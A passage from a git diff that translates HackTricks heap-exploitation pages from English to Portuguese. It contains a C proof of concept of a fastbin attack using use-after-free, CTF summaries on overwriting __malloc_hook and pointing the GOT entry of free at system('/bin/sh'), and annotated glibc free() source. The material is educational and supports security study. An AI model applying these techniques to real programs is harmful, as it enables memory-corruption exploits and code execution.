+unsigned long *ptr0, *ptr1, *ptr2;
 
-    ptr0 = malloc(0x30);
-    ptr1 = malloc(0x30);
-    ptr2 = malloc(0x30);
+ptr0 = malloc(0x30);
+ptr1 = malloc(0x30);
+ptr2 = malloc(0x30);
 
-    printf("Chunk 0: %p\n", ptr0);
-    printf("Chunk 1: %p\n", ptr1);
-    printf("Chunk 2: %p\n\n", ptr2);
+printf("Chunk 0: %p\n", ptr0);
+printf("Chunk 1: %p\n", ptr1);
+printf("Chunk 2: %p\n\n", ptr2);
 
 
-    printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
+printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
 
-    int stackVar = 0x55;
+int stackVar = 0x55;
 
-    printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
+printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
 
-    printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
+printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
 
-    char *data0 = "00000000";
-    char *data1 = "11111111";
-    char *data2 = "22222222";
+char *data0 = "00000000";
+char *data1 = "11111111";
+char *data2 = "22222222";
 
-    memcpy(ptr0, data0, 0x8);
-    memcpy(ptr1, data1, 0x8);
-    memcpy(ptr2, data2, 0x8);
+memcpy(ptr0, data0, 0x8);
+memcpy(ptr1, data1, 0x8);
+memcpy(ptr2, data2, 0x8);
 
-    printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
+printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
 
-    printf("Chunk 0: %s\n", (char *)ptr0);
-    printf("Chunk 1: %s\n", (char *)ptr1);
-    printf("Chunk 2: %s\n\n", (char *)ptr2);
+printf("Chunk 0: %s\n", (char *)ptr0);
+printf("Chunk 1: %s\n", (char *)ptr1);
+printf("Chunk 2: %s\n\n", (char *)ptr2);
 
-    printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
+printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
 
-    free(ptr0);
-    free(ptr1);
-    free(ptr2);
+free(ptr0);
+free(ptr1);
+free(ptr2);
 
-    printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
-    printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
-    printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
+printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
+printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
+printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
 
-    printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
+printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
 
 
-    printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
-    printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
+printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
+printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
 
-    *ptr1 = (unsigned long)((char *)&stackVar);
+*ptr1 = (unsigned long)((char *)&stackVar);
 
-    printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
+printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
 
 
-    printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
-    printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
+printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
+printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
 
-    unsigned long *ptr3, *ptr4, *ptr5;
+unsigned long *ptr3, *ptr4, *ptr5;
 
-    ptr3 = malloc(0x30);
-    ptr4 = malloc(0x30);
-    ptr5 = malloc(0x30);
+ptr3 = malloc(0x30);
+ptr4 = malloc(0x30);
+ptr5 = malloc(0x30);
 
-    printf("Chunk 3: %p\n", ptr3);
-    printf("Chunk 4: %p\n", ptr4);
-    printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
+printf("Chunk 3: %p\n", ptr3);
+printf("Chunk 4: %p\n", ptr4);
+printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
 
-    printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
+printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
 }
 ```
-
 > [!CAUTION]
-> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md)
+> Se for possível sobrescrever o valor da variável global **`global_max_fast`** com um número grande, isso permite gerar chunks de fast bin de tamanhos maiores, potencialmente permitindo realizar ataques de fast bin em cenários onde não era possível anteriormente. Essa situação é útil no contexto do [large bin attack](large-bin-attack.md) e [unsorted bin attack](unsorted-bin-attack.md)
 
-## Examples
+## Exemplos
 
 - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
-  - It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability).
-    - **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`).
-    - **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\
-      Finally a **one gadget** was written in there.
+- É possível alocar chunks, liberá-los, ler seu conteúdo e preenchê-los (com uma vulnerabilidade de overflow).
+- **Consolidar chunk para infoleak**: A técnica é basicamente abusar do overflow para criar um `prev_size` falso, de modo que um chunk anterior seja colocado dentro de um maior, assim, ao alocar o maior contendo outro chunk, é possível imprimir seus dados e vazar um endereço para libc (`main_arena+88`).
+- **Sobrescrever malloc hook**: Para isso, e abusando da situação de sobreposição anterior, foi possível ter 2 chunks que apontavam para a mesma memória. Portanto, liberando ambos (liberando outro chunk entre eles para evitar proteções), foi possível ter o mesmo chunk no fast bin 2 vezes. Então, foi possível alocá-lo novamente, sobrescrever o endereço do próximo chunk para apontar um pouco antes de `__malloc_hook` (para que aponte para um inteiro que malloc pensa ser um tamanho livre - outro bypass), alocá-lo novamente e então alocar outro chunk que receberá um endereço para malloc hooks.\
+Finalmente, um **one gadget** foi escrito lá.
 - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
-  - There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers
-    - **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address.
-    - **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`.
+- Há um overflow de heap e uso após liberação e dupla liberação porque, quando um chunk é liberado, é possível reutilizar e liberar novamente os ponteiros.
+- **Libc info leak**: Basta liberar alguns chunks e eles obterão um ponteiro para uma parte da localização da arena principal. Como você pode reutilizar ponteiros liberados, basta ler este endereço.
+- **Fast bin attack**: Todos os ponteiros para as alocações são armazenados dentro de um array, então podemos liberar alguns chunks de fast bin e, no último, sobrescrever o endereço para apontar um pouco antes deste array de ponteiros. Então, aloque alguns chunks com o mesmo tamanho e obteremos primeiro o legítimo e depois o falso contendo o array de ponteiros. Agora podemos sobrescrever esses ponteiros de alocação para fazer o endereço GOT de `free` apontar para `system` e então escrever `"/bin/sh"` no chunk 1 para então chamar `free(chunk1)` que, em vez disso, executará `system("/bin/sh")`.
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-  - Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
+- Outro exemplo de abusar de um overflow de um byte para consolidar chunks no unsorted bin e obter um libc infoleak e então realizar um ataque de fast bin para sobrescrever malloc hook com um endereço de one gadget.
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
-  - After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT
-  - You can find a Fast Bin attack abused through an unsorted bin attack:
-    - Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed).
+- Após um infoleak abusando do unsorted bin com um UAF para vazar um endereço libc e um endereço PIE, o exploit deste CTF usou um ataque de fast bin para alocar um chunk em um lugar onde os ponteiros para chunks controlados estavam localizados, então foi possível sobrescrever certos ponteiros para escrever um one gadget no GOT.
+- Você pode encontrar um ataque Fast Bin abusado através de um ataque unsorted bin:
+- Note que é comum antes de realizar ataques de fast bin abusar das free-lists para vazar endereços libc/heap (quando necessário).
 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
-  - We can only allocate chunks of size greater than `0x100`.
-  - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
-  - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
+- Podemos apenas alocar chunks de tamanho maior que `0x100`.
+- Sobrescrever `global_max_fast` usando um ataque Unsorted Bin (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits).
+- Ataque Fast Bin para modificar um array global de chunks. Isso fornece uma primitiva de leitura/escrita arbitrária, que permite modificar o GOT e definir algumas funções para apontar para `system`.
 
 {{#ref}}
 unsorted-bin-attack.md
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md
index 04855d5fb..79463db8f 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md
@@ -1,4 +1,4 @@
-# Heap Memory Functions
+# Funções de Memória Heap
 
 {{#include ../../../banners/hacktricks-training.md}}
 
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md
index e57b1fa77..a8be98bf7 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md
@@ -2,95 +2,92 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Free Order Summary 
+## Resumo da Ordem de Liberação 
 
-(No checks are explained in this summary and some case have been omitted for brevity)
+(Nenhuma verificação é explicada neste resumo e alguns casos foram omitidos para brevidade)
 
-1. If the address is null don't do anything
-2. If the chunk was mmaped, mummap it and finish
-3. Call `_int_free`:
-   1. If possible, add the chunk to the tcache
-   2. If possible, add the chunk to the fast bin
-   3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list
+1. Se o endereço for nulo, não faça nada
+2. Se o chunk foi mmaped, mummap ele e termine
+3. Chame `_int_free`:
+   1. Se possível, adicione o chunk ao tcache
+   2. Se possível, adicione o chunk ao fast bin
+   3. Chame `_int_free_merge_chunk` para consolidar o chunk se necessário e adicione-o à lista não ordenada
 
 ## \_\_libc_free 
 
-`Free` calls `__libc_free`.
+`Free` chama `__libc_free`.
 
-- If the address passed is Null (0) don't do anything.
-- Check pointer tag
-- If the chunk is `mmaped`, `mummap` it and that all
-- If not, add the color and call `_int_free` over it
+- Se o endereço passado for nulo (0), não faça nada.
+- Verifique a tag do ponteiro
+- Se o chunk for `mmaped`, `mummap` ele e isso é tudo
+- Se não, adicione a cor e chame `_int_free` sobre ele
 
 

 
-__lib_free code
-
+__lib_free código
 ```c
 void
 __libc_free (void *mem)
 {
-  mstate ar_ptr;
-  mchunkptr p;                          /* chunk corresponding to mem */
+mstate ar_ptr;
+mchunkptr p;                          /* chunk corresponding to mem */
 
-  if (mem == 0)                              /* free(0) has no effect */
-    return;
+if (mem == 0)                              /* free(0) has no effect */
+return;
 
-  /* Quickly check that the freed pointer matches the tag for the memory.
-     This gives a useful double-free detection.  */
-  if (__glibc_unlikely (mtag_enabled))
-    *(volatile char *)mem;
+/* Quickly check that the freed pointer matches the tag for the memory.
+This gives a useful double-free detection.  */
+if (__glibc_unlikely (mtag_enabled))
+*(volatile char *)mem;
 
-  int err = errno;
+int err = errno;
 
-  p = mem2chunk (mem);
+p = mem2chunk (mem);
 
-  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
-    {
-      /* See if the dynamic brk/mmap threshold needs adjusting.
-	 Dumped fake mmapped chunks do not affect the threshold.  */
-      if (!mp_.no_dyn_threshold
-          && chunksize_nomask (p) > mp_.mmap_threshold
-          && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
-        {
-          mp_.mmap_threshold = chunksize (p);
-          mp_.trim_threshold = 2 * mp_.mmap_threshold;
-          LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
-                      mp_.mmap_threshold, mp_.trim_threshold);
-        }
-      munmap_chunk (p);
-    }
-  else
-    {
-      MAYBE_INIT_TCACHE ();
+if (chunk_is_mmapped (p))                       /* release mmapped memory. */
+{
+/* See if the dynamic brk/mmap threshold needs adjusting.
+Dumped fake mmapped chunks do not affect the threshold.  */
+if (!mp_.no_dyn_threshold
+&& chunksize_nomask (p) > mp_.mmap_threshold
+&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
+{
+mp_.mmap_threshold = chunksize (p);
+mp_.trim_threshold = 2 * mp_.mmap_threshold;
+LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
+mp_.mmap_threshold, mp_.trim_threshold);
+}
+munmap_chunk (p);
+}
+else
+{
+MAYBE_INIT_TCACHE ();
 
-      /* Mark the chunk as belonging to the library again.  */
-      (void)tag_region (chunk2mem (p), memsize (p));
+/* Mark the chunk as belonging to the library again.  */
+(void)tag_region (chunk2mem (p), memsize (p));
 
-      ar_ptr = arena_for_chunk (p);
-      _int_free (ar_ptr, p, 0);
-    }
+ar_ptr = arena_for_chunk (p);
+_int_free (ar_ptr, p, 0);
+}
 
-  __set_errno (err);
+__set_errno (err);
 }
 libc_hidden_def (__libc_free)
 ```
-
 

 
 ## \_int_free 
 
 ### \_int_free start 
 
-It starts with some checks making sure:
+Começa com algumas verificações para garantir que:
 
-- the **pointer** is **aligned,** or trigger error `free(): invalid pointer`
-- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size`
+- o **ponteiro** está **alinhado,** ou dispara o erro `free(): invalid pointer`
+- o **tamanho** não é menor que o mínimo e que o **tamanho** também está **alinhado** ou dispara o erro: `free(): invalid size`
 
 

 
 _int_free start
-
 ```c
 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
 
@@ -99,288 +96,279 @@ It starts with some checks making sure:
 static void
 _int_free (mstate av, mchunkptr p, int have_lock)
 {
-  INTERNAL_SIZE_T size;        /* its size */
-  mfastbinptr *fb;             /* associated fastbin */
+INTERNAL_SIZE_T size;        /* its size */
+mfastbinptr *fb;             /* associated fastbin */
 
-  size = chunksize (p);
+size = chunksize (p);
 
-  /* Little security check which won't hurt performance: the
-     allocator never wraps around at the end of the address space.
-     Therefore we can exclude some size values which might appear
-     here by accident or by "design" from some intruder.  */
-  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
-      || __builtin_expect (misaligned_chunk (p), 0))
-    malloc_printerr ("free(): invalid pointer");
-  /* We know that each chunk is at least MINSIZE bytes in size or a
-     multiple of MALLOC_ALIGNMENT.  */
-  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
-    malloc_printerr ("free(): invalid size");
+/* Little security check which won't hurt performance: the
+allocator never wraps around at the end of the address space.
+Therefore we can exclude some size values which might appear
+here by accident or by "design" from some intruder.  */
+if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
+|| __builtin_expect (misaligned_chunk (p), 0))
+malloc_printerr ("free(): invalid pointer");
+/* We know that each chunk is at least MINSIZE bytes in size or a
+multiple of MALLOC_ALIGNMENT.  */
+if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
+malloc_printerr ("free(): invalid size");
 
-  check_inuse_chunk(av, p);
+check_inuse_chunk(av, p);
 ```
-
 

 
 ### \_int_free tcache 
 
-It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and:
+Primeiro, ele tentará alocar este bloco no tcache relacionado. No entanto, algumas verificações são realizadas anteriormente. Ele percorrerá todos os blocos do tcache no mesmo índice que o bloco liberado e:
 
-- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache`
-- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2`
-- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2`
+- Se houver mais entradas do que `mp_.tcache_count`: `free(): too many chunks detected in tcache`
+- Se a entrada não estiver alinhada: free(): `unaligned chunk detected in tcache 2`
+- se o bloco liberado já foi liberado e está presente como bloco no tcache: `free(): double free detected in tcache 2`
 
-If all goes well, the chunk is added to the tcache and the functions returns.
+Se tudo correr bem, o bloco é adicionado ao tcache e a função retorna.
 
 

 
 _int_free tcache
-
 ```c
 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
 #if USE_TCACHE
-  {
-    size_t tc_idx = csize2tidx (size);
-    if (tcache != NULL && tc_idx < mp_.tcache_bins)
-      {
-	/* Check to see if it's already in the tcache.  */
-	tcache_entry *e = (tcache_entry *) chunk2mem (p);
+{
+size_t tc_idx = csize2tidx (size);
+if (tcache != NULL && tc_idx < mp_.tcache_bins)
+{
+/* Check to see if it's already in the tcache.  */
+tcache_entry *e = (tcache_entry *) chunk2mem (p);
 
-	/* This test succeeds on double free.  However, we don't 100%
-	   trust it (it also matches random payload data at a 1 in
-	   2^ chance), so verify it's not an unlikely
-	   coincidence before aborting.  */
-	if (__glibc_unlikely (e->key == tcache_key))
-	  {
-	    tcache_entry *tmp;
-	    size_t cnt = 0;
-	    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
-	    for (tmp = tcache->entries[tc_idx];
-		 tmp;
-		 tmp = REVEAL_PTR (tmp->next), ++cnt)
-	      {
-		if (cnt >= mp_.tcache_count)
-		  malloc_printerr ("free(): too many chunks detected in tcache");
-		if (__glibc_unlikely (!aligned_OK (tmp)))
-		  malloc_printerr ("free(): unaligned chunk detected in tcache 2");
-		if (tmp == e)
-		  malloc_printerr ("free(): double free detected in tcache 2");
-		/* If we get here, it was a coincidence.  We've wasted a
-		   few cycles, but don't abort.  */
-	      }
-	  }
+/* This test succeeds on double free.  However, we don't 100%
+trust it (it also matches random payload data at a 1 in
+2^ chance), so verify it's not an unlikely
+coincidence before aborting.  */
+if (__glibc_unlikely (e->key == tcache_key))
+{
+tcache_entry *tmp;
+size_t cnt = 0;
+LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
+for (tmp = tcache->entries[tc_idx];
+tmp;
+tmp = REVEAL_PTR (tmp->next), ++cnt)
+{
+if (cnt >= mp_.tcache_count)
+malloc_printerr ("free(): too many chunks detected in tcache");
+if (__glibc_unlikely (!aligned_OK (tmp)))
+malloc_printerr ("free(): unaligned chunk detected in tcache 2");
+if (tmp == e)
+malloc_printerr ("free(): double free detected in tcache 2");
+/* If we get here, it was a coincidence.  We've wasted a
+few cycles, but don't abort.  */
+}
+}
 
-	if (tcache->counts[tc_idx] < mp_.tcache_count)
-	  {
-	    tcache_put (p, tc_idx);
-	    return;
-	  }
-      }
-  }
+if (tcache->counts[tc_idx] < mp_.tcache_count)
+{
+tcache_put (p, tc_idx);
+return;
+}
+}
+}
 #endif
 ```
-
 

 
 ### \_int_free fast bin 
 
-Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk.
+Comece verificando se o tamanho é adequado para fast bin e verifique se é possível configurá-lo próximo ao top chunk.
 
-Then, add the freed chunk at the top of the fast bin while performing some checks:
+Em seguida, adicione o chunk liberado no topo do fast bin enquanto realiza algumas verificações:
 
-- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)`
-- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)`
-- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)`
+- Se o tamanho do chunk for inválido (muito grande ou pequeno) acione: `free(): invalid next size (fast)`
+- Se o chunk adicionado já era o topo do fast bin: `double free or corruption (fasttop)`
+- Se o tamanho do chunk no topo tiver um tamanho diferente do chunk que estamos adicionando: `invalid fastbin entry (free)`
 
 

 
 _int_free Fast Bin
-
 ```c
- // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
+// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
 
- /*
-    If eligible, place chunk on a fastbin so it can be found
-    and used quickly in malloc.
-  */
+/*
+If eligible, place chunk on a fastbin so it can be found
+and used quickly in malloc.
+*/
 
-  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
+if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
 
 #if TRIM_FASTBINS
-      /*
-	If TRIM_FASTBINS set, don't place chunks
-	bordering top into fastbins
-      */
-      && (chunk_at_offset(p, size) != av->top)
+/*
+If TRIM_FASTBINS set, don't place chunks
+bordering top into fastbins
+*/
+&& (chunk_at_offset(p, size) != av->top)
 #endif
-      ) {
+) {
 
-    if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
-			  <= CHUNK_HDR_SZ, 0)
-	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
-			     >= av->system_mem, 0))
-      {
-	bool fail = true;
-	/* We might not have a lock at this point and concurrent modifications
-	   of system_mem might result in a false positive.  Redo the test after
-	   getting the lock.  */
-	if (!have_lock)
-	  {
-	    __libc_lock_lock (av->mutex);
-	    fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
-		    || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
-	    __libc_lock_unlock (av->mutex);
-	  }
+if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
+<= CHUNK_HDR_SZ, 0)
+|| __builtin_expect (chunksize (chunk_at_offset (p, size))
+>= av->system_mem, 0))
+{
+bool fail = true;
+/* We might not have a lock at this point and concurrent modifications
+of system_mem might result in a false positive.  Redo the test after
+getting the lock.  */
+if (!have_lock)
+{
+__libc_lock_lock (av->mutex);
+fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
+|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
+__libc_lock_unlock (av->mutex);
+}
 
-	if (fail)
-	  malloc_printerr ("free(): invalid next size (fast)");
-      }
+if (fail)
+malloc_printerr ("free(): invalid next size (fast)");
+}
 
-    free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
+free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
 
-    atomic_store_relaxed (&av->have_fastchunks, true);
-    unsigned int idx = fastbin_index(size);
-    fb = &fastbin (av, idx);
+atomic_store_relaxed (&av->have_fastchunks, true);
+unsigned int idx = fastbin_index(size);
+fb = &fastbin (av, idx);
 
-    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
-    mchunkptr old = *fb, old2;
+/* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
+mchunkptr old = *fb, old2;
 
-    if (SINGLE_THREAD_P)
-      {
-	/* Check that the top of the bin is not the record we are going to
-	   add (i.e., double free).  */
-	if (__builtin_expect (old == p, 0))
-	  malloc_printerr ("double free or corruption (fasttop)");
-	p->fd = PROTECT_PTR (&p->fd, old);
-	*fb = p;
-      }
-    else
-      do
-	{
-	  /* Check that the top of the bin is not the record we are going to
-	     add (i.e., double free).  */
-	  if (__builtin_expect (old == p, 0))
-	    malloc_printerr ("double free or corruption (fasttop)");
-	  old2 = old;
-	  p->fd = PROTECT_PTR (&p->fd, old);
-	}
-      while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
-	     != old2);
+if (SINGLE_THREAD_P)
+{
+/* Check that the top of the bin is not the record we are going to
+add (i.e., double free).  */
+if (__builtin_expect (old == p, 0))
+malloc_printerr ("double free or corruption (fasttop)");
+p->fd = PROTECT_PTR (&p->fd, old);
+*fb = p;
+}
+else
+do
+{
+/* Check that the top of the bin is not the record we are going to
+add (i.e., double free).  */
+if (__builtin_expect (old == p, 0))
+malloc_printerr ("double free or corruption (fasttop)");
+old2 = old;
+p->fd = PROTECT_PTR (&p->fd, old);
+}
+while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
+!= old2);
 
-    /* Check that size of fastbin chunk at the top is the same as
-       size of the chunk that we are adding.  We can dereference OLD
-       only if we have the lock, otherwise it might have already been
-       allocated again.  */
-    if (have_lock && old != NULL
-	&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
-      malloc_printerr ("invalid fastbin entry (free)");
-  }
+/* Check that size of fastbin chunk at the top is the same as
+size of the chunk that we are adding.  We can dereference OLD
+only if we have the lock, otherwise it might have already been
+allocated again.  */
+if (have_lock && old != NULL
+&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
+malloc_printerr ("invalid fastbin entry (free)");
+}
 ```
-
 

 
 ### \_int_free finale 
 
-If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk`
+Se o chunk ainda não foi alocado em nenhum bin, chame `_int_free_merge_chunk`
 
 

 
 _int_free finale
-
 ```c
 /*
-    Consolidate other non-mmapped chunks as they arrive.
-  */
+Consolidate other non-mmapped chunks as they arrive.
+*/
 
-  else if (!chunk_is_mmapped(p)) {
+else if (!chunk_is_mmapped(p)) {
 
-    /* If we're single-threaded, don't lock the arena.  */
-    if (SINGLE_THREAD_P)
-      have_lock = true;
+/* If we're single-threaded, don't lock the arena.  */
+if (SINGLE_THREAD_P)
+have_lock = true;
 
-    if (!have_lock)
-      __libc_lock_lock (av->mutex);
+if (!have_lock)
+__libc_lock_lock (av->mutex);
 
-    _int_free_merge_chunk (av, p, size);
+_int_free_merge_chunk (av, p, size);
 
-    if (!have_lock)
-      __libc_lock_unlock (av->mutex);
-  }
-  /*
-    If the chunk was allocated via mmap, release via munmap().
-  */
+if (!have_lock)
+__libc_lock_unlock (av->mutex);
+}
+/*
+If the chunk was allocated via mmap, release via munmap().
+*/
 
-  else {
-    munmap_chunk (p);
-  }
+else {
+munmap_chunk (p);
+}
 }
 ```
-
 

 
 ## \_int_free_merge_chunk
 
-This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list.
+Esta função tentará mesclar o chunk P de SIZE bytes com seus vizinhos. Coloque o chunk resultante na lista de bin não ordenados.
 
-Some checks are performed:
+Algumas verificações são realizadas:
 
-- If the chunk is the top chunk: `double free or corruption (top)`
-- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)`
-- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)`
-- If the next chunk has a too little size or too big: `free(): invalid next size (normal)`
-- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating`
+- Se o chunk é o chunk superior: `double free or corruption (top)`
+- Se o próximo chunk está fora dos limites da arena: `double free or corruption (out)`
